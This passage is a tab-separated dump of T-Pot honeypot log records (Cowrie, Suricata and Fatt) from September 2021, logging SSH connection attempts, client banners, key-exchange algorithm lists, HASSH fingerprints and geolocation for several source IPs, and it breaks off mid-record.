27472	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:38.357017+03	2021-09-20 14:15:14.627675+03	{"_id": "0gbqAnwBvYTbRNuEQCds", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "732d2f5785b2", "@version": "1", "timestamp": "2021-09-20T11:14:38.357017Z", "@timestamp": "2021-09-20T11:14:38.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27473	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:14:38.461774+03	2021-09-20 14:15:14.629645+03	{"_id": "2wbqAnwBvYTbRNuEQCdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.124.200.114:3733 (192.168.176.2:22) [session: 3d65a2248ad7]", "session": "3d65a2248ad7", "@version": "1", "protocol": "ssh", "src_port": 3733, "dest_port": 22, "timestamp": "2021-09-20T11:14:38.461774Z", "@timestamp": "2021-09-20T11:14:38.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27474	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:14:38.464523+03	2021-09-20 14:15:14.630647+03	{"_id": "2QbqAnwBvYTbRNuEQCdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3d65a2248ad7", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:14:38.464523Z", "@timestamp": "2021-09-20T11:14:38.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27475	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:14:38.353085+03	2021-09-20 14:15:14.632644+03	{"_id": "5AbqAnwBvYTbRNuEQidh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1461497597081982, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42148, "dest_port": 22, "timestamp": "2021-09-20T11:14:38.353085Z", "@timestamp": "2021-09-20T11:14:38.353Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27476	123.124.200.114	109.199.241.180	Fatt	2021-09-20 14:14:38.810779+03	2021-09-20 14:15:14.634643+03	{"_id": "5gbqAnwBvYTbRNuEQyeX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 3733, "dest_port": 22, "timestamp": "2021-09-20T11:14:38.810779", "@timestamp": "2021-09-20T11:14:38.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27477	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:38.739448+03	2021-09-20 14:15:14.635646+03	{"_id": "6gbqAnwBvYTbRNuERCdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "7903072c501c", "@version": "1", "duration": 3.707123279571533, "timestamp": "2021-09-20T11:14:38.739448Z", "@timestamp": "2021-09-20T11:14:38.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27478	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:40.667969+03	2021-09-20 14:15:14.636674+03	{"_id": "8QbqAnwBvYTbRNuESCdA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:37746 (192.168.176.2:22) [session: bd5ad0d783e1]", "session": "bd5ad0d783e1", "@version": "1", "protocol": "ssh", "src_port": 37746, "dest_port": 22, "timestamp": "2021-09-20T11:14:40.667969Z", "@timestamp": "2021-09-20T11:14:40.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27479	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:39.907909+03	2021-09-20 14:15:14.637675+03	{"_id": "9gbqAnwBvYTbRNuESCdB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:45000 (192.168.176.2:22) [session: e15c0f9ee43f]", "session": "e15c0f9ee43f", "@version": "1", "protocol": "ssh", "src_port": 45000, "dest_port": 22, "timestamp": "2021-09-20T11:14:39.907909Z", "@timestamp": "2021-09-20T11:14:39.907Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27480	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:40.671+03	2021-09-20 14:15:14.639647+03	{"_id": "9QbqAnwBvYTbRNuESCdA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bd5ad0d783e1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:40.671000Z", "@timestamp": "2021-09-20T11:14:40.671Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27481	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:40.466546+03	2021-09-20 14:15:14.640674+03	{"_id": "-wbqAnwBvYTbRNuESCdB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e15c0f9ee43f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:40.466546Z", "@timestamp": "2021-09-20T11:14:40.466Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27482	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:14:41.126092+03	2021-09-20 14:15:14.641677+03	{"_id": "_QbqAnwBvYTbRNuESicy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1256065016538690, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54508, "dest_port": 22, "timestamp": "2021-09-20T11:14:41.126092Z", "@timestamp": "2021-09-20T11:14:41.126Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27483	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:14:41.126167+03	2021-09-20 14:15:14.642677+03	{"_id": "AgbqAnwBvYTbRNuESyhp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54508, "dest_port": 22, "timestamp": "2021-09-20T11:14:41.126167", "@timestamp": "2021-09-20T11:14:41.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27484	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:14:48.274924+03	2021-09-20 14:15:14.644647+03	{"_id": "MwbqAnwBvYTbRNuEZijF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 